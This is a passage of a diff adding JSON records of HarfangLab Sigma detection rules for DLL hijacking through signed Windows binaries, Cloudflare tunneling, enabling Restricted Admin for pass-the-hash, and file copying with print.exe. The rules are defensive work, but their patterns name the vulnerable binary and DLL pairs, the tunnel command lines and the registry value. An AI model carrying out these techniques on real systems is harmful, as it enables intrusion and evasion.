+  "rule_description": "Detects potential Windows DLL Hijacking via fxssvc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7f759930-847b-4235-9966-1f185ec8f57a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094433Z",
+  "creation_date": "2026-03-23T11:45:34.094435Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094440Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_qappsrv.yml",
+  "content": "title: DLL Hijacking via qappsrv.exe\nid: 7f759930-847b-4235-9966-1f185ec8f57a\ndescription: |\n    Detects potential Windows DLL Hijacking via qappsrv.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'qappsrv.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\netapi32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7f759930-847b-4235-9966-1f185ec8f57a",
+  "rule_name": "DLL Hijacking via qappsrv.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via qappsrv.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7f7c3ab6-0a47-45d3-a6d4-b483fe3bcdb5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593327Z",
+  "creation_date": "2026-03-23T11:45:34.593330Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593338Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://itm4n.github.io/windows-dll-hijacking-clarified/",
+    "https://twitter.com/Alh4zr3d/status/1567937830911111168",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wptsextensions.yml",
+  "content": "title: DLL Hijacking via WptsExtension.dll\nid: 7f7c3ab6-0a47-45d3-a6d4-b483fe3bcdb5\ndescription: |\n    Detects a potential Windows DLL Hijacking via WptsExtension.dll.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://itm4n.github.io/windows-dll-hijacking-clarified/\n    - https://twitter.com/Alh4zr3d/status/1567937830911111168\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/20\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|endswith: '\\WptsExtensions.dll'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Company:\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7f7c3ab6-0a47-45d3-a6d4-b483fe3bcdb5",
+  "rule_name": "DLL Hijacking via WptsExtension.dll",
+  "rule_description": "Detects a potential Windows DLL Hijacking via WptsExtension.dll.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-20",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7f7ec5e5-0ec3-44e4-8cf0-cf1aaf2c3e5a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079468Z",
+  "creation_date": "2026-03-23T11:45:34.079470Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079474Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_hvax64.yml",
+  "content": "title: DLL Hijacking via hvax64.exe\nid: 7f7ec5e5-0ec3-44e4-8cf0-cf1aaf2c3e5a\ndescription: |\n    Detects potential Windows DLL Hijacking via hvax64.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'hvax64.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\KDSTUB.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7f7ec5e5-0ec3-44e4-8cf0-cf1aaf2c3e5a",
+  "rule_name": "DLL Hijacking via hvax64.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via hvax64.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7f9cb333-f034-466f-aad5-843bbfe120c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.612759Z",
+  "creation_date": "2026-03-23T11:45:34.612763Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612770Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/cloudflare/cloudflared",
+    "https://blog.reconinfosec.com/emergence-of-akira-ransomware-group",
+    "https://attack.mitre.org/techniques/T1572/"
+  ],
+  "name": "t1572_linux_cloudfare_tunneling_cmdline.yml",
+  "content": "title: Cloudflare Tunneling via Command-line\nid: 7f9cb333-f034-466f-aad5-843bbfe120c6\ndescription: |\n    Detects a command-line associated with the Cloudflare Tunnel Client.\n    Cloudflare is a tunneling daemon that proxies traffic from the Cloudflare network.\n    Threat actors such as the Akira Ransomware Group use this client to silently tunnel their traffic into internal networks.\n    It is recommended to investigate the process' and daemon's network activity to determine the legitimacy of this action.\nreferences:\n    - https://github.com/cloudflare/cloudflared\n    - https://blog.reconinfosec.com/emergence-of-akira-ransomware-group\n    - https://attack.mitre.org/techniques/T1572/\ndate: 2023/05/11\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1572\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Tunneling\n    - classification.Linux.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine|contains:\n            - 'tunnel * run --token'\n            - 'tunnel * --config * run'\n\n    exclusion_containers:\n        Ancestors|contains: '/usr/bin/containerd-shim-runc-v2'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7f9cb333-f034-466f-aad5-843bbfe120c6",
+  "rule_name": "Cloudflare Tunneling via Command-line",
+  "rule_description": "Detects a command-line associated with the Cloudflare Tunnel Client.\nCloudflare is a tunneling daemon that proxies traffic from the Cloudflare network.\nThreat actors such as the Akira Ransomware Group use this client to silently tunnel their traffic into internal networks.\nIt is recommended to investigate the process' and daemon's network activity to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2023-05-11",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7ff782ca-cc4a-457f-899f-ba46c4f967a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081538Z",
+  "creation_date": "2026-03-23T11:45:34.081540Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081544Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://strontic.github.io/xcyclopedia/library/msedge_pwa_launcher.exe-42D1DD5306CDE965B76373E4E2E210A3.html"
+  ],
+  "name": "t1574_001_dll_hijacking_msedgepwalauncher.yml",
+  "content": "title: DLL Hijacking via msedge_pwa_launcher.exe\nid: 7ff782ca-cc4a-457f-899f-ba46c4f967a0\ndescription: |\n    Detects potential Windows DLL Hijacking via msedge_pwa_launcher.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://strontic.github.io/xcyclopedia/library/msedge_pwa_launcher.exe-42D1DD5306CDE965B76373E4E2E210A3.html\ndate: 2023/11/17\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'msedge_pwa_launcher.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith:\n            - '\\USERENV.dll'\n            - '\\combase.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files (x86)\\Microsoft\\EdgeCore\\'\n            - '?:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Microsoft\\EdgeCore\\'\n            - '?:\\Program Files\\Microsoft\\EdgeWebView\\Application\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7ff782ca-cc4a-457f-899f-ba46c4f967a0",
+  "rule_name": "DLL Hijacking via msedge_pwa_launcher.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via msedge_pwa_launcher.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-11-17",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8002bad8-8a9d-4911-9321-bd2bc2322429",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620390Z",
+  "creation_date": "2026-03-23T11:45:34.620392Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620396Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657",
+    "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn408190(v=ws.11)",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_enable_restricted_admin.yml",
+  "content": "title: Restricted Admin Enabled via Registry\nid: 8002bad8-8a9d-4911-9321-bd2bc2322429\ndescription: |\n    Detects when the Restricted Admin feature is enabled by setting a specific registry key.\n    Adversaries may enable Restricted Admin as it allows connections over RDP using the Pass-the-Hash technique.\n    It is recommended to investigate this action to determine its legitimacy and investigate any suspicious authentications using a privileged account.\nreferences:\n    - https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657\n    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn408190(v=ws.11)\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2024/02/13\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject: 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\DisableRestrictedAdmin'\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8002bad8-8a9d-4911-9321-bd2bc2322429",
+  "rule_name": "Restricted Admin Enabled via Registry",
+  "rule_description": "Detects when the Restricted Admin feature is enabled by setting a specific registry key.\nAdversaries may enable Restricted Admin as it allows connections over RDP using the Pass-the-Hash technique.\nIt is recommended to investigate this action to determine its legitimacy and investigate any suspicious authentications using a privileged account.\n",
+  "rule_creation_date": "2024-02-13",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "80198e01-52f5-4bde-b050-72b38a462907",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295850Z",
+  "creation_date": "2026-03-23T11:45:35.295853Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295860Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Print/",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1564/004/"
+  ],
+  "name": "t1105_file_copied_via_print.yml",
+  "content": "title: File Copied via print.exe\nid: 80198e01-52f5-4bde-b050-72b38a462907\ndescription: |\n    Detects abuse of the Windows print.exe binary to copy files, which may indicate living-off-the-land activity used for defense evasion.\n    Attackers can leverage this native utility to copy or stage files using a trusted Windows component, potentially evading security controls.\n    It is recommended to analyze the execution chain associated with this alert to determine its legitimacy.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Print/\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1564/004/\ndate: 2026/01/28\nmodified: 2026/02/16\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.defense_evasion\n    - attack.t1564.004\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Print\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'Print.exe'\n        CommandLine|contains:\n            - 'print /D:\\\\\\\\'\n            - 'print /D:?:'\n            - 'print.exe /D:\\\\\\\\'\n            - 'print.exe /D:?:'\n        ParentImage|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\public\\'\n            - '?:\\users\\\\*\\appdata\\'\n            - '?:\\\\?Recycle.Bin\\'\n        GrandparentImage|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\public\\'\n            - '?:\\users\\\\*\\appdata\\'\n            - '?:\\\\?Recycle.Bin\\'\n        CurrentDirectory|startswith: '?:\\'\n\n    condition: selection\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "80198e01-52f5-4bde-b050-72b38a462907",
+  "rule_name": "File Copied via print.exe",
+  "rule_description": "Detects abuse of the Windows print.exe binary to copy files, which may indicate living-off-the-land activity used for defense evasion.\nAttackers can leverage this native utility to copy or stage files using a trusted Windows component, potentially evading security controls.\nIt is recommended to analyze the execution chain associated with this alert to determine its legitimacy.\n",
+  "rule_creation_date": "2026-01-28",
+  "rule_modified_date": "2026-02-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1564.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "801a7bc0-ff7d-467e-91c6-47048e296a77",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
